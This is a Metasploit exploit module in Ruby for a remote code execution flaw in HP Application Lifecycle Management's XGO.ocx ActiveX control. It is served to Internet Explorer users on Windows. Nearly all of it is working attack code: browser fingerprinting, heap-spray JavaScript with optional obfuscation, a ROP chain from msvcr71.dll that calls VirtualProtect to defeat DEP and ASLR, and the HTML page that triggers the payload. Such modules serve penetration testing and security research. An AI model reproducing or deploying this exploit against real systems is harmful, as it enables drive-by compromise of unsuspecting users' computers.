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## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML include Msf::Exploit::Remote::BrowserAutopwn autopwn_info({ :ua_name=> HttpClients::IE, :ua_minver=> "7.0", :ua_maxver=> "9.0", :javascript => true, :os_name=> OperatingSystems::WINDOWS, :classid=> "{C3B92104-B5A7-11D0-A37F-00A0248F0AF1}", :method => "SetShapeNodeType", :rank => NormalRanking }) def initialize(info={}) super(update_info(info, 'Name' => "HP Application Lifecycle Management XGO.ocx ActiveX SetShapeNodeType() Remote Code Execution", 'Description'=> %q{ This module exploits a vulnerability within the XGO.ocx ActiveX Control installed with the HP Application Lifecycle Manager Client. The vulnerability exists in the SetShapeNodeType method, which allows the user to specify memory that will be used as an object, through the node parameter. It allows to control the dereference and use of a function pointer. This module has been successfully tested with HP Application Lifecycle Manager 11.50 and requires JRE 6 in order to bypass DEP and ASLR. }, 'License'=> MSF_LICENSE, 'Author' => [ 'rgod <rgod[at]autistici.org>', # Vulnerability discovery 'juan vazquez'# Metasploit ], 'References' => [ [ 'OSVDB', '85152' ], [ 'BID', '55272' ], [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-12-170/' ] ], 'Payload'=> { 'BadChars'=> "\x00", 'Space' => 890, 'DisableNops' => true, 'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500 }, 'DefaultOptions'=> { 'ExitFunction' => "none", 'InitialAutoRunScript' => 'migrate -f' }, 'Platform' => 'win', 'Targets'=> [ # XGO.xco 11.50.777.0 [ 'Automatic', {} ], [ 'IE 7 on Windows XP SP3', { 'Rop' => nil, 'Offset' => '0x5f4' } ], [ 'IE 8 on Windows XP SP3', { 'Rop' => :jre,'Offset' => '0x5f4' } ], [ 'IE 7 on Windows Vista',{ 'Rop' => nil, 'Offset' => '0x5f4' } ], [ 'IE 8 on Windows Vista',{ 'Rop' => :jre,'Offset' => '0x5f4' } ], [ 'IE 8 on Windows 7',{ 'Rop' => :jre,'Offset' => '0x5f4' } ], [ 'IE 9 on Windows 7',{ 'Rop' => :jre,'Offset' => '0x5fe' } ] ], 'Privileged' => false, 'DisclosureDate' => "Aug 29 2012", 'DefaultTarget'=> 0)) register_options( [ OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false]) ], self.class) end def get_target(agent) #If the user is already specified by the user, we'll just use that return target if target.name != 'Automatic' if agent =~ /NT 5\.1/ and agent =~ /MSIE 7/ return targets[1]#IE 7 on Windows XP SP3 elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 8/ return targets[2]#IE 8 on Windows XP SP3 elsif agent =~ /NT 6\.0/ and agent =~ /MSIE 7/ return targets[3]#IE 7 on Windows Vista elsif agent =~ /NT 6\.0/ and agent =~ /MSIE 8/ return targets[4]#IE 8 on Windows Vista elsif agent =~ /NT 6\.1/ and agent =~ /MSIE 8/ return targets[5]#IE 8 on Windows 7 elsif agent =~ /NT 6\.1/ and agent =~ /MSIE 9/ return targets[6]#IE 9 on Windows 7 else return nil end end def ie_heap_spray(my_target, p) js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(target.arch)) js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(target.arch)) js_random_nops = Rex::Text.to_unescape(make_nops(4), Rex::Arch.endian(my_target.arch)) # Land the payload at 0x0c0c0c0c case my_target when targets[6] # IE 9 on Windows 7 js = %Q| function randomblock(blocksize) { var theblock = ""; for (var i = 0; i < blocksize; i++) { theblock += Math.floor(Math.random()*90)+10; } return theblock; } function tounescape(block) { var blocklen = block.length; var unescapestr = ""; for (var i = 0; i < blocklen-1; i=i+4) { unescapestr += "%u" + block.substring(i,i+4); } return unescapestr; } var heap_obj = new heapLib.ie(0x10000); var code = unescape("#{js_code}"); var nops = unescape("#{js_random_nops}"); while (nops.length < 0x80000) nops += nops; var offset_length = #{my_target['Offset']}; for (var i=0; i < 0x1000; i++) { var padding = unescape(tounescape(randomblock(0x1000))); while (padding.length < 0x1000) padding+= padding; var junk_offset = padding.substring(0, offset_length); var single_sprayblock = junk_offset + code + nops.substring(0, 0x800 - code.length - junk_offset.length); while (single_sprayblock.length < 0x20000) single_sprayblock += single_sprayblock; sprayblock = single_sprayblock.substring(0, (0x40000-6)/2); heap_obj.alloc(sprayblock); } | else # For IE 6, 7, 8 js = %Q| var heap_obj = new heapLib.ie(0x20000); var code = unescape("#{js_code}"); var nops = unescape("#{js_nops}"); while (nops.length < 0x80000) nops += nops; var offset = nops.substring(0, #{my_target['Offset']}); var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length); while (shellcode.length < 0x40000) shellcode += shellcode; var block = shellcode.substring(0, (0x80000-6)/2); heap_obj.gc(); for (var i=1; i < 0x300; i++) { heap_obj.alloc(block); } var overflow = nops.substring(0, 10); | end js = heaplib(js, {:noobfu => true}) if datastore['OBFUSCATE'] js = ::Rex::Exploitation::JSObfu.new(js) js.obfuscate end return js end def get_payload(t, cli) # No rop if t['Rop'].nil? code = [0x0c0c0c10].pack("V") code << [0x0c0c0c14].pack("V") code << payload.encoded return code end code = payload.encoded # ROP chain generated by mona.py - See corelan.be exec_size = 0xffffffff - code.length + 1 junk= rand_text_alpha(4).unpack("V")[0].to_i stackpivot = [ 0x0c0c0c10, 0x7c342643, # xchg eax,esp # pop edi # add byte ptr ds:[eax],al # pop ecx # retn from msvcr71.dll junk ].pack("V*") rop = [ 0x7c37653d,# POP EAX # POP EDI # POP ESI # POP EBX # POP EBP # RETN exec_size, # Value to negate, will become 0x00000201 (dwSize) 0x7c347f98,# RETN (ROP NOP) 0x7c3415a2,# JMP [EAX] 0xffffffff, 0x7c376402,# skip 4 bytes 0x7c351e05,# NEG EAX # RETN 0x7c345255,# INC EBX # FPATAN # RETN 0x7c352174,# ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN 0x7c344f87,# POP EDX # RETN 0xffffffc0,# Value to negate, will become 0x00000040 0x7c351eb1,# NEG EDX # RETN 0x7c34d201,# POP ECX # RETN 0x7c38b001,# &Writable location 0x7c347f97,# POP EAX # RETN 0x7c37a151,# ptr to &VirtualProtect() - 0x0EF [IAT msvcr71.dll] 0x7c378c81,# PUSHAD # ADD AL,0EF # RETN 0x7c345c30,# ptr to 'push esp #ret ' ].pack("V*") code = stackpivot + rop + code return code end def load_exploit_html(my_target, cli) p= get_payload(my_target, cli) js = ie_heap_spray(my_target, p) id_object = rand_text_alpha(5 + rand(5)) html = %Q| <html> <head> <script> #{js} </script> </head> <body> <object classid='clsid:C3B92104-B5A7-11D0-A37F-00A0248F0AF1' id='#{id_object}'></object> <script language='javascript'> #{id_object}.SetShapeNodeType(0x0c0c0c0c, 1 , ""); </script> </body> </html> | return html end def on_request_uri(cli, request) agent = request.headers['User-Agent'] uri = request.uri print_status("Requesting: #{uri}") my_target = get_target(agent) # Avoid the attack if no suitable target found if my_target.nil? print_error("Browser not supported, sending 404: #{agent}") send_not_found(cli) return end html = load_exploit_html(my_target, cli) html = html.gsub(/^\t\t/, '') print_status("Sending HTML...") send_response(cli, html, {'Content-Type'=>'text/html'}) end end |
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